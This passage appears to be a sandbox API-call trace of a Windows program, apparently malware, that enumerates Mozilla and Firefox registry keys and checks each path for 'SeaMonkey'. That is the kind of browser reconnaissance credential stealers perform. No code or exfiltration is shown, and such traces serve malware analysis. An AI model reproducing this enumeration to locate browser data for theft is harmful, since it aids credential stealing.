ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.103] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0071.103] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="SeaMonkey") returned 0x0 [0071.103] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.103] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.103] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.103] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.103] lstrlenA (lpString="\\") returned 1 [0071.104] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.104] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.104] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.104] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.104] lstrlenA (lpString="Firefox") returned 7 [0071.104] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0071.104] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.104] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.104] LocalFree (hMem=0x65e350) returned 0x0 [0071.104] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="SeaMonkey") returned 0x0 [0071.104] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.104] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.104] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.104] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.104] lstrlenA (lpString="\\") returned 1 [0071.104] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.104] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.104] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.104] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.104] lstrlenA (lpString="Crash Reporter") returned 14 [0071.104] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0071.105] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.105] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0071.105] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.105] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="SeaMonkey") returned 0x0 [0071.105] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.105] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.105] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.105] RegCloseKey (hKey=0x134) returned 0x0 [0071.105] LocalFree (hMem=0x646ba0) returned 0x0 [0071.105] LocalFree (hMem=0x6292f8) returned 0x0 [0071.105] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.105] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.105] lstrlenA (lpString="\\") returned 1 [0071.105] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.105] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.105] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.105] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.105] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.105] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.105] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.105] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.105] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.105] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="SeaMonkey") returned 0x0 [0071.105] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.105] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.105] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.105] RegCloseKey (hKey=0x134) returned 0x0 [0071.105] LocalFree (hMem=0x646ba0) returned 0x0 [0071.105] LocalFree (hMem=0x6292f8) returned 0x0 [0071.106] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.106] RegCloseKey (hKey=0x130) returned 0x0 [0071.106] LocalFree (hMem=0x646318) returned 0x0 [0071.106] LocalFree (hMem=0x65d330) returned 0x0 [0071.106] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.106] RegCloseKey (hKey=0x150) returned 0x0 [0071.106] LocalFree (hMem=0x645a90) returned 0x0 [0071.106] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="SeaMonkey") returned 0x0 [0071.106] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.106] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.106] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.106] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.106] lstrlenA (lpString="\\") returned 1 [0071.106] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.106] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.106] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.106] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.106] lstrlenA (lpString="Firefox") returned 7 [0071.106] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0071.106] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.106] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.106] LocalFree (hMem=0x65e350) returned 0x0 [0071.106] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="SeaMonkey") returned 0x0 [0071.106] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.106] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.106] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.106] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.106] lstrlenA (lpString="\\") returned 1 [0071.107] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.107] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.107] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.107] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.107] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.107] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.107] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.107] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.107] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.107] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="SeaMonkey") returned 0x0 [0071.107] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.107] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.107] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.107] RegCloseKey (hKey=0x134) returned 0x0 [0071.108] LocalFree (hMem=0x646ba0) returned 0x0 [0071.108] LocalFree (hMem=0x6292f8) returned 0x0 [0071.108] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.108] RegCloseKey (hKey=0x130) returned 0x0 [0071.108] LocalFree (hMem=0x646318) returned 0x0 [0071.108] LocalFree (hMem=0x65d330) returned 0x0 [0071.108] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.108] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.108] lstrlenA (lpString="\\") returned 1 [0071.108] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.108] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.108] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.108] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.108] lstrlenA (lpString="MaintenanceService") returned 18 [0071.108] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.108] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.108] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.108] LocalFree (hMem=0x65e350) returned 0x0 [0071.108] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="SeaMonkey") returned 0x0 [0071.108] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.108] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.108] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.108] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0071.108] lstrlenA (lpString="\\") returned 1 [0071.108] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0071.108] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.108] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.108] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0071.108] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0071.108] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x65e350 [0071.108] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.108] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.108] LocalFree (hMem=0x6293a8) returned 0x0 [0071.109] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="SeaMonkey") returned 0x0 [0071.109] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.109] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.109] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.109] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0071.109] lstrlenA (lpString="\\") returned 1 [0071.109] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x65d330 [0071.109] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.109] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.109] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0071.109] lstrlenA (lpString="0") returned 1 [0071.109] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x641518 [0071.111] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.111] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0071.111] LocalFree (hMem=0x65d330) returned 0x0 [0071.111] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="SeaMonkey") returned 0x0 [0071.111] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.111] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.111] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.111] RegCloseKey (hKey=0x138) returned 0x0 [0071.111] LocalFree (hMem=0x649428) returned 0x0 [0071.111] LocalFree (hMem=0x641518) returned 0x0 [0071.111] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.111] RegCloseKey (hKey=0x134) returned 0x0 [0071.111] LocalFree (hMem=0x646ba0) returned 0x0 [0071.111] LocalFree (hMem=0x65e350) returned 0x0 [0071.111] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.111] RegCloseKey (hKey=0x130) returned 0x0 [0071.111] LocalFree (hMem=0x646318) returned 0x0 [0071.111] LocalFree (hMem=0x6292f8) returned 0x0 [0071.111] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x2, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.111] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.111] lstrlenA (lpString="\\") returned 1 [0071.111] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.111] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.111] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.111] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.111] lstrlenA (lpString="Mozilla Firefox") returned 15 [0071.111] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0071.112] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.112] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.112] LocalFree (hMem=0x65e350) returned 0x0 [0071.112] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="SeaMonkey") returned 0x0 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.112] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.112] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.112] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0071.112] lstrlenA (lpString="\\") returned 1 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0071.112] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.112] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.112] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0071.112] lstrlenA (lpString="25.0 (en-US)") returned 12 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647440 [0071.112] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.112] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.112] LocalFree (hMem=0x6293a8) returned 0x0 [0071.112] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="SeaMonkey") returned 0x0 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.112] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.112] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.112] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.112] lstrlenA (lpString="\\") returned 1 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.112] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.112] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.112] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.112] lstrlenA (lpString="Main") returned 4 [0071.112] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.112] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.113] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0071.113] LocalFree (hMem=0x6474f8) returned 0x0 [0071.113] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="SeaMonkey") returned 0x0 [0071.113] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.113] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.113] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.113] RegCloseKey (hKey=0x138) returned 0x0 [0071.113] LocalFree (hMem=0x649428) returned 0x0 [0071.113] LocalFree (hMem=0x643aa8) returned 0x0 [0071.113] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.113] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.113] lstrlenA 